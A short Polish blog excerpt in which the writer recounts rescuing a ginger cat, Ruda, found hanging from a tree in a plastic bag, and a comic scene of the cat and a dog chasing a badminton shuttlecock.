Moja historia z Rudą Chwilą jest ciekawa od pierwszych naszych wspólnych dni. Po pierwsze – znalazłam ją wiszącą na drzewie w reklamówce i mimo trzech psów i jednego kota, musiałam zatrzymać u siebie w domu. Ruda jest niby persem, niby dachowcem, trochę też psem. Najśmieszniejsza historia z nią? Któregoś dnia grałam z mamą z badmintona – obserwował nas Czarek (najmłodszy z psiaków) i Ruda. W pewnym momencie piłka poleciała w złą stronę i poszli… z jednej strony Rudzik, z drugiej Czaruś… rozegrał się między nimi lepszy mecz niż pomiędzy Borussią a Legią 😉 piłki nie odzyskałyśmy, ale za to miałyśmy… Czytaj więcej »

Previous
Praca, kebab i książki za darmo [TYGODNIK]
Gdy jesteś tą trzecią…+ KONKURS